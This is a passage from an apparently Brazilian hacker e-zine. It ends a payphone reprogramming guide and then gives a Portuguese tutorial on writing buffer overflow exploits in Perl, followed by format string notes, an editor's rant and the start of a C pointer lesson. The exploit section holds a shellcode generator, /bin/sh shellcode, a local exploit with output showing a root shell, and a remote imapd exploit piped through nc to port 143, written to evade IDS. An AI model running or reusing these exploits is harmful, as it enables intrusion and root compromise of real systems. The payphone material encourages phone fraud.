informacoes q vc anotou do menu IDENTIFICACAO, alias, vc anoto neh? Depois desligue e ligue normal: A G U A R D E . . . (vai se comunica com a central) Depois vai aparece: A G U A R D E . . . RECEBIDO 16% E vai indo assim... com 29% 46% 65% 79% 92% 100% Agora aparecera: INSTALACAO OK 2.11 Finalizacoes Pronto, vc percebeu q vc desprogramo e reinstalo o tp? Agora eh com vc, adquira varias chaves, tente programar varios tipos de tp, mude o q quiser... faca testes..... Alias, vo da um brinde para vcs brincarem: 15-2222503 eh o n. da SPLICE, tem uns caras legais la :) Se eu tiver oportunidade, falarei mais sobre telefonia fixa e publica, mas por enquanto eh soh. Observacao: O autor nao se respon... bah, faca o q vc quise, mais se tu se fude, o problema eh seu, teste a seo proprio risco ;) onlooker15@yahoo.com.br _xXXXP^'' ``^YXXXx_ _xXXXXP~ 10 - Escrevendo Exploits ~YXXXXx_ _xXXXXXX( de Buffer Overflow com Perl )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ BEHAEL _dXXXXP~ ~YXXXbx.. ..xdXXXP~ Índice: ~~~~~~~~~~~~~~~~~~~~ [ 1. Introdução [ 2. Exemplo de Programa vulnerável [ 3. Shellcode [ 4. Projetando a carga útil [ 5. Exemplo de Xploit [ 6. Usando [ 7. Velho exemplo de Remote Imapd Xploit (feito pelo autor original) [ 8. Links & Recursos ----------------------------------------------------------------------------- 1] Introdução: ~~~~~~~~~~~~~~~ Este txt é para esses que querem uma aproximação prática a escrever exploits explorando condicoes a buffer overflow. Como diz o título, este texto lhe ensinará como escrever exploits em Perl. Se você quer um guia mais detalhado, por favor dê uma olhada nos links no final deste texto. 2] Exemplo de Programa vulnerável: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Ok, vamos a um exemplo. Eu escrevi um programa pequeno que é explorável a buffer overflow. strcpy() não confere o comprimento de $KIDVULN antes de colocar seu conteúdo sobre os stack. ----------------------------------------------------------------------------- <++> PerlXploit/vuln.c #include int main() { char kidbuffer[1024]; if (getenv("KIDVULN") == NULL) { fprintf(stderr, " Cresça! !\n"); exit(1); } /* Lê os dados das variáveis de ambiente no buffer */ strcpy(kidbuffer, (char *)getenv("KIDVULN")); printf("Variável de Ambiente KIDVULN é:\n\"%s\".\n\n", kidbuffer); printf("A vida não é maravilhosa no jardim de infância?\n"); return 0; } <--> ----------------------------------------------------------------------------- [root@localhost]# gcc -o vuln.c vuln vuln.c: In function `main': vuln.c:5: warning: comparison between pointer and integer [root@localhost]# export KIDVULN=`perl -e '{print "A"x"1028"}'` [root@localhost]# gdb vuln GNU gdb blá blá blá (gdb) r Starting program: ~/vuln Environment variable KIDVULN is: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A vida não é maravilhosa no jardim de infância? Program received signal SIGSEGV, Segmentation fault. 0x40032902 in __libc_start_main (main=Cannot access memory at address 0x41414149 ) at ../sysdeps/generic/libc-start.c:61 61 ../sysdeps/generic/libc-start.c: No such file or directory. (gdb) ----------------------------------------------------------------------------- 0k, aqui nós podemos ver que o tamanho do buffer não era bastante grande. Se tivesse sido, então o "stack pointer" teria sido escrito e o EIP teria sido 0x41414141. (41 = A em hexa). ----------------------------------------------------------------------------- [root@localhost]# export KIDVULN=`perl -e '{print "A"x"1032"}'` [root@localhost]# gdb vuln GNU gdb blá blá blá blá... (gdb) r Starting program: ~/vuln Environment variable KIDVULN is: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA A vida não é maravilhosa no jardim de infância? Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) ----------------------------------------------------------------------------- Agora, nós escrevemos totalmente o velho "return adress". Nós temos agora os quatro A´s (41). Bem, nós agora sabemos para onde EIP aponta, e então nós podemos conseguir que EIP apontem a nossa carga util. Se tiver êxito que nosso código será executado no "stack". (Alguns sistemas operacionais tem pacthes que previne que codigos maliciosos sejam executados no stack). ----------------------------------------------------------------------------- Nós sabemos agora o comprimento para ser usado para escrever elaboradamente o "return address." Desde que pontos de ESP para o topo do "stack", nós podemos usar o valor de ESP quando o programa morreu, e (se precisou) some um compense a isto. Isto é como você adquire o valor do "stack pointer" para usar o exploit. Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) info reg esp esp 0xbffff770 -1073744064 (gdb) ----------------------------------------------------------------------------- 3] Shellcode: ~~~~~~~~~~~~ Bem, não eh o objetivo dessa tradução e adptação ensinar a escrever shellcode... por tanto disponibilizo aqui um programa codado por jamez (jamez@sekure.org) do sekure team www.sekure.org. <++> PerlXploit/makeshellcode.c #include #define MAX_PARAM 100 int hexcode[4086]; /* hex code for exeve */ int hexsize = 0; /* size of hex code */ char asmcode[4096]; /* asm code for exeve */ char aux[1024]; /* aux string */ char params[1024]; /* parameters including program name */ void asmcat(char * s) { strcat(asmcode, s); } void addasm(char * fmt, int addr) { sprintf(aux, fmt, addr); strcat(asmcode, aux); } void addhex(int hex) { hexcode[hexsize] = hex; hexsize++; } void printhex() { int i; char s[10]; printf("\n-----------------( hex code )--\n\n"); printf("char shellcode[] = \n"); printf("\t\""); for(i = 0; i < hexsize; i++) { if((i - i/12 * 12) == 0 && i != 0) { printf("\"\n"); printf("\t\""); } if(hexcode[i] < 16 && hexcode[i] >= 0) printf("\\x0%x", hexcode[i]); else if(hexcode[i] > 0) printf("\\x%x", hexcode[i]); else { sprintf(s, "%x", hexcode[i]); printf("\\x%c", s[6]); printf("%c", s[7]); } } printf("%s\"\n", params); } int main(int argc, char * argv[]) { int i, /* some for's */ jmp, /* how many bytes to jmp to get call instruction */ num_params, /* how many parameters */ size = 0; /* size of the whole command */ int nulls[MAX_PARAM]; /* where the null bytes go */ if(argc == 1) { printf("\nshellcode, first version. (Nov 25, 1998)\n\n"); printf(" this proggie generates a binary execve code for any commands\n");; printf(" with any arguments. it shows the asm and hex code of execve\n"); printf(" wanted. both outputs asm and hex code can be executed on the\n"); printf(" stack. for example, you can use it when you want to exploit\n"); printf(" a buffer overrun situation on linux.\n\n"); printf(" it's a jamez product. jamez@sekure.org\n"); printf(" sekure sdi - www.sekure.org\n\n"); printf(" - usage: %s path+program [first arg] [second arg] ...\n\n",argv[0]); exit(0); } num_params = argc - 1; /* parse out the parameters */ params[0] = '\0'; for(i = 0; i < num_params && i < MAX_PARAM; i++) { size += strlen(argv[i+1]) + 1; /* plus one to the null end */ strcat(params, argv[i + 1]); nulls[i] = strlen(params); strcat(params, "\x20"); } params[size-1] = '\0'; /* create the asm code */ hexcode[0] = '\0'; asmcode[0] = '\0'; jmp = 22 + 3 + (num_params-1)*6 + 3*num_params + 3; addhex(0xeb); addhex(jmp); addasm("\tjmp 0x%x\n", jmp); addhex(0x5e); asmcat("\tpopl %esi\n"); /* popl %esi */ /* fill char * array w/ addr's */ for(i = 0; i < num_params && i < MAX_PARAM; i++) { if(i == 0) { addasm("\tmovl %%esi,0x%x(%%esi)\n", size); addhex(0x89); addhex(0x76); addhex(size); } else { addhex(0x8d); addhex(0x5e); addhex(nulls[i-1]+1); addasm("\tleal 0x%x(%%esi),%%ebx\n", nulls[i-1]+1); addhex(0x89); addhex(0x5e); addhex(size + i*4); addasm("\tmovl %%ebx,0x%x(%%esi)\n", size + i*4); } } addhex(0x31); addhex(0xc0); asmcat("\txorl %eax,%eax\n"); /* put null at the of strings */ for(i = 0; i < num_params && i < MAX_PARAM; i++) { addhex(0x88); addhex(0x46); addhex(nulls[i]); addasm("\tmovb %%eax,0x%x(%%esi)\n", nulls[i]); } addhex(0x89); addhex(0x46); addhex(size + 4*num_params); addasm("\tmovl %%eax,0x%x(%%esi)\n", size + 4*num_params); addhex(0xb0); addhex(0x0b); asmcat("\tmovb $0xb,%al\n"); addhex(0x89); addhex(0xf3); asmcat("\tmovl %esi,%ebx\n"); addhex(0x8d); addhex(0x4e); addhex(size); addasm("\tleal 0x%x(%%esi),%%ecx\n", size); addhex(0x8d); addhex(0x56); addhex(size + 4*num_params); addasm("\tleal 0x%x(%%esi),%%edx\n", size + 4*num_params); addhex(0xcd); addhex(0x80); asmcat("\tint $0x80\n"); addhex(0x31); addhex(0xdb); asmcat("\txorl %ebx,%ebx\n"); addhex(0x89); addhex(0xd8); asmcat("\tmovl %ebx,%eax\n"); addhex(0x40); asmcat("\tinc %eax\n"); addhex(0xcd); addhex(0x80); asmcat("\tint $0x80\n"); addhex(0xe8); addhex((jmp+5) * -1); addhex(0xff); addhex(0xff); addhex(0xff); addasm("\tcall -0x%x\n", jmp+5); asmcat("\t.string \\\""); asmcat(params); asmcat("\\\""); printf("\n-----------------( asm code )--\n\n"); printf("int main() {\n"); printf("\t__asm__(\"\n"); printf("%s\");\n", asmcode); printf("}\n"); printhex(); printf("\n\n(by jamez for your profit)\n\n"); } <--> [root@localhost]# gcc -o makeshellcode.c makeshellcode [root@localhost]# ./makeshellcode /bin/sh -----------------( asm code )-- int main() { __asm__(" jmp 0x1f popl %esi movl %esi,0x8(%esi) xorl %eax,%eax movb %eax,0x7(%esi) movl %eax,0xc(%esi) movb $0xb,%al movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 xorl %ebx,%ebx movl %ebx,%eax inc %eax int $0x80 call -0x24 .string \"/bin/sh\""); } -----------------( hex code )-- char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89" "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c" "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff" "\xff\xff/bin/sh" (by jamez for your profit) Vamos soh utilizar o hex code: "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89" "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c" "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff" "\xff\xff/bin/sh" ----------------------------------------------------------------------------- 4] Projetando a Carga Util: ~~~~~~~~~~~~~~~~~~~~~~~~ A carga util será armazenada no do "$buffer ", com os dados que serão, usado para a "exploitação ". Terá o comprimento necessario para sobrescrever completamente o velho return address. Nós inseriremos este código no programa mirado (user-input) para mudar seu fluxo. A carga util na maioria dos casos: N = NOP (0x90) / S = Shellcode / R = ESP (+ offset). Buffer: [NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNSSSSSSSRRRRRRRRRRRRRR] Há razões por que nós construímos o "Buffer" deste modo. Primeiro nós temos muito NOPs, então o shellcode (o qual neste exemplo executará /bin/sh), e afinal o ESP + offset. O registro de EIP será carregado com o valor apontado por ESP. Assim se ESP aponta para qualquer lugar dentro do NOPs, o NOPs não fará nenhuma operação, e continua não fazendo nada até alcancar o shellcode e então executa isto. (Veja abaixo) _______________________________________________ <---- |[ NNNNNNNNNNNNNNNNNNNNNNNNNNN-SHELLCODE-RRRRRRR ]| <---- \_________________________/ ----> # ^ ^ | |________________________________| Se o buffer que nós estávamos tentando o overflow tivesse sido muito pequeno somar uma decente quantia de NOP, o shellcode e RET´s, abaixo do plano poderia ter sido usado ao construir a carga util. (Nós poderíamos ter somado o NOP e shellcode em uma "shell-variável " como bem) (R = Stack Pointer + Offset / S = Shellcode / N = x86 NOP) / ESP + offset / NOP / Shellcode Carga util: [ RRRRRRRRRRRRRRRNNNNNNNNNNNNNNNNNNSSSSSS ] | | ----------> # ---------- (Nota: O buffer não pode conter nenhum byte NULO!) ----------------------------------------------------------------------------- 5] Xploit exemplificado: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ #!/usr/bin/perl $shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89". "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c". "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff". "\xff\xff/bin/sh"; $len = 1024 + 8; # O comprimento necessario para possuir o EIP $ret = 0xbffff770; # O resultado de ESP $nop = "\x90"; # x86 NOP $offset = -1000; # Offset default para tentar. if (@ARGV == 1) { $offset = $ARGV[0]; } for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) { $buffer .= $nop; } # [ Buffer: NNNNNNNNNNNNNN ] # Some muitos NOPS no buffer (885 NOP´s) $buffer .= $shellcode; # [ Buffer: NNNNNNNNNNNNNNSSSSS ] # Então nós acrescentamos o shellcode ao buffer. Nós abrimos espaço para o shellcode print("Address: 0x", sprintf('%lx',($ret + $offset)), "\n"); # Aqui nós acrescentamos o offset ao valor do stack pointer - convertendo em hex, # e então imprime isto. $new_ret = pack('l', ($ret + $offset)); # pack é uma função que levará uma lista de valores e empacotará isto em um # estrutura binária, e então devolve para a string o que contém a estrutura. # Assim, empacote o stack pointer / ESP + offset em uma signed long - (4 bytes). # Aqui nós acrescentamos o comprimento do shellcode ao scalar $i que depois da # primeira volta tinha terminado com o valor " 885 " (bytes), então ele volta # a somar o scalar de $new_ret até que $buffer tenha o tamanho de 1032 bytes. # for ($i += length($shellcode); $i < $len; $i += 4) { $buffer .= $new_ret; } # [ Buffer: NNNNNNNNNNNNNNNNSSSSSRRRRRR ] # Também poderia ter sido escrito assim: # #until (length($buffer) == $len) { # $buffer .= $new_ret; #} local($ENV{'KIDVULN'}) = $buffer; exec("/root/vuln"); # "/root/vuln" local onde estah o progarma vulneravel # Copia para a shell a variável KIDVULN, e execute vuln. ----------------------------------------------------------------------------- 6] Usando o Xploit: ~~~~~~~~~~~~~~~~~~~ bash-2.03# ./Xploit.pl Address: 0xbfffeee8 Variável de Ambiente KIDVULN é: F‰F V ° NÍ€1Û‰Ø@Í€èÜÿÿÿ/bin/shèîÿ¿èîÿ¿èîÿ¿èîÿ¿èîÿ¿èîÿ¿èîÿ¿èîÿ¿èîÿ¿èîÿ¿èîÿ¿èîÿ¿ èîÿ¿èîÿ¿èîÿ¿èîÿ¿èîÿ¿èîÿ¿èîÿ¿èîÿ¿èîÿ¿èîÿ¿èîÿ¿èîÿ¿èîÿ¿". A vida não é maravilhosa no jardim de infância? sh-2.03# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk), 10(wheel),11(floppy) sh-2.03# exit exit bash-2.03# OBS: Sempre q for usar esse Xploit vc deve sempre repetir o seguinte procedimento: bash-2.03# export KIDVULN=`perl -e '{print "A"x"1032"}'` bash-2.03# gdb vuln GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-linux-gnu"... (gdb) r Starting program: /root/perl/Xploit/vuln warning: Unable to find dynamic linker breakpoint function. GDB will be unable to debug shared library initializers and track explicitly loaded dynamic code. Environment variable KIDVULN is: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". A vida não é maravilhosa no jardim de infância? Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) info reg esp esp 0xbffff2d0 0xbffff2d0 (gdb) q The program is running. Exit anyway? (y or n) y Sempre deve pegar o valor de ESP assim q conseguir causar Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () e preencher no Xploit.pl: $ret = 0xbffff2d0; # O resultado de ESP e assim utilizar ;D 7] Xploit fornecido pelo autor original do txt: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ #!/usr/bin/perl ## *** Successfully tested on IMAP4rev1 v10.190 ## Written by: teleh0r@doglover.com / anno 2000 ## ## This is nothing new - written just for fun. ## Vulnerable: imapd versions 9.0 > 10.223 / CA. # Shellcode stolen from imapx.c / The Tekneeq Crew $shellcode ="\xeb\x35\x5e\x80\x46\x01\x30\x80\x46\x02\x30\x80". "\x46\x03\x30\x80\x46\x05\x30\x80\x46\x06\x30\x89". "\xf0\x89\x46\x08\x31\xc0\x88\x46\x07\x89\x46\x0c". "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80". "\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xc6\xff\xff\xff". "\x2f\x32\x39\x3e\x2f\x43\x38"; $len = 1052; # Sufficient to overwrite the return value. $nop = A; # Using A (0x41) 'as' NOP's to try to fool IDS. $ret = 0xbffff30f; # Return Value / ESP / Stack Pointer. if (@ARGV < 2) { print("Usage: $0 \n"); exit(1); } ($target, $offset) = @ARGV; for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) { $buffer .= $nop; } $buffer .= $shellcode; $new_ret = pack('l', ($ret + $offset)); $address = sprintf('%lx', ($ret + $offset)); print("Address: 0x$address / Offset: $offset / Length: $len\n\n"); sleep(1); for ($i += length($shellcode); $i < $len; $i += 4) { $buffer .= $new_ret; } $exploit_string = "* AUTHENTICATE {$len}\015\012$buffer\012"; system("(echo -e \"$exploit_string\" ; cat) | nc $target 143"); -------------------------------------------------------------------------------------- 8] Links & Recursos: ~~~~~~~~~~~~~~~~~~~~ Smashing The Stack For Fun And Profit by Aleph One http://phrack.infonexus.com/search.phtml?view&article=p49-14 Writing buffer overflow exploits - a tutorial for beginners. http://mixter.warrior2k.com/exploit.txt / Written by Mixter. TESO Security Group / http://teso.scene.at/ Autor Original -- Writing Buffer Overflow Exploits with Perl - anno 2000 -- - http://teleh0r.cjb.net/ ============================================================== _xXXXP^'' ``^YXXXx_ _xXXXXP~ 11 - Format Strings ~YXXXXx_ _xXXXXXX( )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ Cheat Struck _dXXXXP~ ~YXXXbx.. ..xdXXXP~ /* F0rmat Strings O problema eh na hora de passar o valor de uma variavel para outra usando sprintf(destino,origem); $ ./fs char1: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Tentativa de buffer overflow! Oh! aki temos um sistema avancado de IDS... =) Para burla-lo basta termos um certo minimo de conhecimento em C... $ ./fs char1: %d char2: 10190202 Viu... usamos um codigo de formato de decimal e o programa executou algo como: sprintf(st2,"%d",st); Ou seja passou o valor decimal do st para st2. Soh ae ja temos um estouro de buffer, mas inda nao atingimos o Return Addres. Para issu podemos usar um especificador de tamanho... $ ./fs char1: %50d Segmentation Fault (core dumped) O blza! Agora explorar essa falha eh facil, segue o mesmo estilo de um b0f normal e usa os codigo de formato para preencher o buffer. Note... esse bug nao eh tudo o que dizem por ae... ele nao funciona apenas casos raros como este. Nao eh comum programadores usaram sprintf para passar valores completos de uma string para outra. Para isso eh usado strcpy ou strncpy (mais seguro ainda). Mesmo assim, ja foram encontrados uma pah de programas com essa falha. O sprintf somente eh usado para criar um valor para string com formatacao de outras variaveis. ex: sprintf(dest,"orig=%s",orig); Note que se a funcao for alterada no programa, ele nao podera mais ser burlado como antes. As funcoes vulneraveis a esses bugs sao *printf, *printk e syslog. <++> format/bug.c /* */ #include main() { char st[5]; char st2[5]; printf("char1: "); scanf("%s",st); if (strlen(st) > 5) { printf("Tentativa de buffer overflow!\n"); exit(0); } //Esta funcao bugzada. //Para Fixar o problema use: // sprintf(st2,"%s",st); //ou melhor ainda // strcpy(st2,st); sprintf(st2,st); printf("char2: %s\n",st2); } <--> opa... tava lendo uma materia aki q um lamah q eu conheci me enviou... olha soh Bem essa é primeira vez que escrevo pra essa zine (ou pra qualquer zine) e apesar de não ir muito com a cara do struck, resolvi escrever pra essa zine, odeio admitir mas a zine dele eh muito boa hauhauahua ele entro no security c achando o fodao.. dae nos zoamos ele... eu ia publicar o log na f3-05 mas fikei com pena dele pq ele comecou a baba meus ovo hehehhe uahuahua HAHAHAHAHAHAHHAHAHAHAHAHAHAHA HAHAHAHAHAHAHHAHAHAHAHAHAHAHA tipo... o kra traduziu um texto muito frau e jogou pra mim... nem traduziu todo ele.. hauhauah olha soh como eu vou responder: Primeiramente... obrigado pela colaboracao. Agora responda ao questionario de editores da f3: 1. Pq decidiu colaborar com a f3? a) Porque eu sou amigo do struck b) Porque eu quero ser famoso e consigo fama facil saindo na f3! c) Porque eu nao gosto do struck e quero queimar o filme dele com minhas materias. HAHAHAHAHHA nao traduziu todo? cara de pau tem umas parte q fikaram em ingles hauahuah hahahaha o kra vai fikar puto Brincadera.. tipo... eu nem te odeio e tal... tanto que nao vou publicar akele log da 1a vez q tu entrou no #security pq tu nao quer... Falando nisso: pq vc nao deixa eu publica-lo??? Se arrempende do que falou?? HAHAHAHAHAHHAHAHAHAHA eu zuo muito o kra no email e no fim digo: "Sem ressentimentos." heheheh hahaha _xXXXP^'' ``^YXXXx_ _xXXXXP~ 12 - Ponteiros ~YXXXXx_ _xXXXXXX( )XXXXXXx_ xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP ~YXXXXXX( )XXXXXXP~ ~YXXXXb_ Cheat Struck _dXXXXP~ ~YXXXbx.. ..xdXXXP~ Topicos ####### 1. Introducao 2. Iniciando com ponteiros 3. Asterisco (*) 3.1. Na declaracao de um ponteiro. 3.2. Para localizar um dado apontado pelo ponteiro. 4. "E" comercial (&) * Programa Teste 5. Ponteiros com matrizes 6. Direcionando ponteiros para ponteiros 7. Ponteiros para funcoes * Programa Teste 8. Ponteiros para estruturas 9. Problemas comuns 9.1. Inicializando errado 9.2. Definindo localizacoes constantes 9.3. Ponteiros nao inicializados 10. Finalizacoes 1. Introducao ############# Bom... Teve mta gente pedindo aulas de C. 1o: eu nao sou um guru em C pra dar aulas; 2o: Vcs ja viram o tamanho de um livro de C??? Querem que eu tecle todas as mais de 700 paginas aki??? hahaha. 6 tao loko! Alem do mais isso nao eh uma zine de coders e sim de sexuriters e haxes entao nao tem pq explicar toda uma linguagem de programacao. Se vc tiver mto afim de aprender faca um curso, leia um livro ou entre numa faculdade. Por falar nisso a PUCRS nao ensina ponteiros porque C eh materia do 1o semestre e usada para introduzir a programacao. Como ponteiros eh algo que da muita dor de cabeca ateh mesmo em codeadores mais experientes estou fazendo este tutorial que pretende pegar tanto aos coders begginers quanto aos mais avancados. Para ajudar o aprendizado coloquei diversos programas testes que podem ser extraidos com o extract.c. Assim, sugiro que voce leia este texto em um terminal e no outro olhe, compile, rode os programas testes (supondo que vc esta de linux-console). 2. Iniciando com ponteiros ########################## O que sao ponteiros??? Ponteiros sao variaveis que contem o endereco na memoria de outras variaveis ou funcoes. Eles sao declarados e inicialisados assim: int var=666, *pont; pont = &var; Isto faz com que o ponteiro pont aponte para o endereco da variavel var. tendeu? Tipo... Se vc desse um printf("%d\n",pont); iria receber o endereco da memoria onde esta a variavel var. Nota: O valor sera dado no formato decimal (%d), para obte-lo em formato de ponteiro use o %p. 3. Asterisco (*) ################ Ja notou que usamos alguns simbolos como * e & quando brincamos com ponteiros?? Estes simbolos tem enumeras funcoes na linguagem C (operador de multiplicacao, de bit, etc) mas quando falamos de ponteiros soh precisamos conhecer alguns casos em que eles sao usados. 3.1. Na declaracao de um ponteiro. ################################## Um ponteiro sempre deve ser declarado com um * antes do nome. O tipo de dado que o ponteiro ira armazenar tambem deve ser declarado. Ficaria +/- assim: int *pont_i; // Declara um ponteiro do tipo inteiro char *pont_c; // Declara um ponteiro do tipo caractere //etc... 3.2. Para localizar um dado apontado pelo ponteiro. ################################################### O * serve para indicar que o que queremos eh o valor aramazenado na memoria e nao o endereco dela. Exemplo: var=666; ponteiro = &var; // Aponta o ponteiro para var. printf("%p\n",ponteiro); // Mostra o endereco de var. printf("%d\n",*ponteiro); // Mostra o valor contido no local apontado. 4. "E" comercial (&) #################### O & serve para atribuimos valores referentes ao endereco na memoria onde a variavel esta armazenada. Exemplo: pont = &var; O ponteiro pont recebe o endereco de var. Facil... Programa Teste ############## <++> ponteiros/teste1.c #include void main() { int *ponteiro, var = 666; ponteiro = &var; printf("ponteiro (endereco) = %p\n", ponteiro); printf("ponteiro (valor) = %d\n", *ponteiro); printf("Variavel (endereco) = %p\n", &var); printf("Variavel (valor) = %d\n", var); } <--> 5. Ponteiros com matrizes ######################### Neste caso, ponteiros podem ser muito uteis, para "andar" por uma matriz facilmente. Vejamos como inicializa-las: char string[20], *pont; pont = string; No caso acima, o ponteiro pont aponta para o 1o elemento da matriz string. Seria o mesmo que: pont = &string[0]; Se quizermos iniciar o ponteiro no 4o elemento da matriz podemos fazer: pont = string+3; Seria o mesmo que: pont = &string[3]; Apos isso, para "andarmos" na matriz facilmente podemos usar o ponteiro da seguinte forma: *pont // string[0] *(pont+1) // string[1] *(pont+2) // string[2] //etc... Note que usamos o * antes para indicar que o que queremos eh o valor marcado neste ponteiro e nao o endereco dele. Um exemplo pratico de como usar ponteiros com matrizes pode ser util seria fazendo um buffer com NOPS+shellcode+ADDRESS. Nao vou repetir codigos de exploits aki, abra um qquer e veja como o buffer eh criado. 6. Direcionando ponteiros para ponteiros ######################################## Voce pode acessar uma variavel direcionando um ponteiro quantas vezes quizer. Assim ele tomara diversos caminhos para chegar ao dado. Graficamente seria +/- assim: Ponteiro --> Ponteiro --> Ponteiro --> Ponteiro --> Dado A diferenca eh que um ponteiro que aponta para outro ponteiro deve ser declarado com um * a mais e assim progressivamente. Exemplificando: int var = 666, *pont1, **pont2; pont1 = &var; pont2 = &pont1; printf("%d", **pont2); 7. Ponteiros para funcoes ######################### Alem de declarar ponteiros para variaveis eh possivel criar ponteiros para funcoes do programa. Lembre que C eh um linguagem muito flexivel. Vamos exemplificar para deixar mais claro. A funcao puts() eh definida por: int puts(const char *s); Entao no nosso exemplo. Se quizermos criar um 